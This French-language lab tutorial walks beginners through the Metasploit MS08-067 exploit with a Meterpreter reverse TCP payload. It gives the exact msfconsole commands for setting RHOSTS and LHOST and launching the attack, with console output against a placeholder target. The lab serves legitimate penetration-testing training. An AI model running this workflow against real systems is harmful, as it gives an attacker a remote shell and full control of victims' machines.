Utiliser une charge utile de shell inversé dans Metasploit

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez les étapes fondamentales de l'utilisation d'une charge utile (payload) de reverse shell au sein du Metasploit Framework. Metasploit est un outil puissant de test d'intrusion qui dispose d'une vaste bibliothèque d'exploits, de charges utiles et de modules auxiliaires.

Une "charge utile" (payload) est le code qui s'exécute sur le système cible après qu'un exploit l'ait compromis avec succès. Un "reverse shell" est un type de charge utile où la machine cible compromise initie une connexion de retour vers la machine de l'attaquant. Cette technique est souvent utilisée pour contourner les pare-feux qui pourraient bloquer les connexions entrantes vers la cible mais autoriser les connexions sortantes.

Nous utiliserons la charge utile windows/meterpreter/reverse_tcp. Meterpreter est une charge utile avancée et riche en fonctionnalités qui fournit un shell interactif, permettant à l'attaquant d'exécuter des commandes, de télécharger/téléverser des fichiers et d'effectuer de nombreuses autres activités post-exploitation.

À la fin de ce laboratoire, vous comprendrez le flux de travail pour sélectionner un exploit, configurer une charge utile de reverse shell et lancer l'attaque.

Sélectionner un module d'exploit pour une cible

Dans cette étape, nous allons lancer la console Metasploit Framework et sélectionner un module d'exploit. Un exploit est un morceau de code qui tire parti d'une vulnérabilité spécifique dans un système. Pour ce laboratoire, nous utiliserons un exploit bien connu à des fins éducatives.

Tout d'abord, ouvrez un terminal depuis votre bureau.

Maintenant, démarrez la console Metasploit. Nous utiliserons l'indicateur -q pour un lancement "silencieux" (quiet), qui supprime la bannière de démarrage.

msfconsole -q

Une fois Metasploit chargé, vous verrez l'invite msf6 >. C'est l'interface en ligne de commande de Metasploit.

Notre prochaine action consiste à sélectionner un exploit. Nous utiliserons la commande use suivie du nom du module d'exploit. Pour ce laboratoire, nous ciblerons la vulnérabilité MS08-067, un exploit classique et fiable pour les anciens systèmes Windows.

Tapez la commande suivante dans l'invite msf6 > :

use exploit/windows/smb/ms08_067_netapi

Après avoir appuyé sur Entrée, vous remarquerez que l'invite change. Elle inclut maintenant le nom de l'exploit sélectionné, indiquant que vous êtes dans le contexte de ce module.

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

Vous avez maintenant sélectionné avec succès un module d'exploit et êtes prêt à le configurer.

Définir la charge utile sur windows/meterpreter/reverse_tcp

Dans cette étape, vous allez définir la charge utile pour l'exploit sélectionné. Une charge utile est le code qui sera exécuté sur la machine cible après que l'exploit ait réussi. Comme mentionné dans l'introduction, nous utiliserons une charge utile Meterpreter de type reverse TCP.

Metasploit a peut-être défini cette charge utile par défaut lors de la sélection de l'exploit (comme vu dans la sortie de l'étape précédente), mais il est de bonne pratique de la définir explicitement pour s'assurer que la bonne charge utile est configurée.

Dans l'invite msf6 exploit(windows/smb/ms08_067_netapi) >, utilisez la commande set payload :

set payload windows/meterpreter/reverse_tcp

Après avoir exécuté la commande, Metasploit confirmera le changement.

payload => windows/meterpreter/reverse_tcp

Pour voir toutes les options que vous pouvez configurer pour l'exploit et la charge utile sélectionnés, vous pouvez utiliser la commande show options. C'est une commande très utile pour voir quels paramètres sont requis avant de lancer une attaque.

show options

Vous verrez une liste des options du module, des options de la charge utile et des cibles d'exploit. Notez les options RHOSTS et LHOST, que nous configurerons dans les étapes suivantes.

Définir l'option RHOSTS pour l'exploit

Dans cette étape, nous allons configurer l'option RHOSTS. RHOSTS signifie "Remote Host(s)" (Hôte(s) distant(s)) et spécifie l'adresse IP de la machine cible que vous souhaitez attaquer.

Pour que tout exploit fonctionne, vous devez indiquer à Metasploit où l'envoyer. La commande set est utilisée pour configurer ces options.

Dans un scénario réel, vous auriez identifié l'adresse IP d'une cible par le biais de la reconnaissance. Pour ce laboratoire, nous utiliserons une adresse IP de substitution.

Dans l'invite msf6 exploit(...) >, définissez RHOSTS sur 10.0.2.15.

set RHOSTS 10.0.2.15

Metasploit confirmera que l'option RHOSTS a été définie.

RHOSTS => 10.0.2.15

Vous avez maintenant indiqué à Metasploit quelle machine cibler.

Définir l'option LHOST sur l'adresse IP de votre Kali

Dans cette étape, nous allons définir l'option LHOST. LHOST signifie "Local Host" (Hôte local) et doit être défini sur l'adresse IP de votre machine (la machine de l'attaquant). C'est une étape cruciale pour un shell inversé, car elle indique à la cible compromise où se reconnecter.

Pour trouver l'adresse IP de votre machine, vous devrez ouvrir un nouveau terminal. Ne fermez pas votre terminal msfconsole existant. Vous pouvez ouvrir un nouveau terminal depuis le menu des applications.

Dans le nouveau terminal, exécutez la commande suivante pour afficher les informations de votre interface réseau :

ip addr show eth0

Vous verrez une sortie similaire à celle-ci. Recherchez l'adresse inet, qui est votre IP.

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Dans l'exemple ci-dessus, l'adresse IP est 172.17.0.2. Notez votre adresse IP.

Maintenant, revenez à votre terminal d'origine avec l'invite msfconsole. Utilisez la commande set pour configurer LHOST avec l'adresse IP que vous venez de trouver. Remplacez YOUR_IP_ADDRESS par votre adresse IP réelle.

set LHOST YOUR_IP_ADDRESS

Par exemple, si votre IP était 172.17.0.2, la commande serait :

set LHOST 172.17.0.2

Metasploit confirmera le réglage :

LHOST => 172.17.0.2

Toutes les options nécessaires sont maintenant configurées.

Lancer l'exploit et attendre la connexion de retour de la cible

Dans cette étape, toutes les options étant configurées, vous allez lancer l'exploit.

La commande exploit (ou son alias, run) indique à Metasploit de démarrer l'écoute pour la connexion inversée, puis d'envoyer l'exploit à la cible spécifiée dans RHOSTS.

Dans l'invite msf6 exploit(...) >, tapez :

exploit

Metasploit va maintenant tenter d'exécuter l'exploit contre la cible. Vous verrez une sortie similaire à celle-ci :

[*] Started reverse TCP handler on 172.17.0.2:4444
[*] 10.0.2.15:445 - Attempting to trigger the vulnerability...
[-] 10.0.2.15:445 - Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:445).
[*] Exploit completed, but no session was created.

Important : Dans cet environnement de laboratoire, l'exploit échouera car il n'y a pas de machine réellement vulnérable à l'adresse IP de substitution 10.0.2.15. La sortie "Exploit completed, but no session was created" est attendue.

S'il s'agissait d'une cible réelle et vulnérable, et que l'exploit réussissait, vous verriez un message tel que "Meterpreter session 1 opened" et votre invite changerait en meterpreter >, vous donnant un contrôle total sur la cible.

Cela conclut le processus de configuration et de lancement d'un exploit avec une charge utile de shell inversé. Pour quitter Metasploit, tapez exit.

exit

Résumé

Dans ce laboratoire, vous avez appris le flux de travail fondamental pour utiliser une charge utile de shell inversé dans le Metasploit Framework.

Vous avez pratiqué les étapes clés suivantes :

  1. Démarrer la console Metasploit (msfconsole).
  2. Sélectionner un module d'exploit avec la commande use.
  3. Définir une charge utile avec la commande set payload.
  4. Configurer les options nécessaires, spécifiquement RHOSTS (la cible) et LHOST (votre IP d'écoute).
  5. Lancer l'attaque avec la commande exploit.

Vous avez également appris la différence cruciale entre RHOSTS et LHOST et pourquoi la configuration correcte de LHOST est essentielle pour qu'un shell inversé réussisse. Bien que l'exploit n'ait pas abouti à une session dans cet environnement simulé, vous avez exécuté avec succès toutes les commandes nécessaires pour une attaque réelle. Félicitations pour avoir terminé le laboratoire !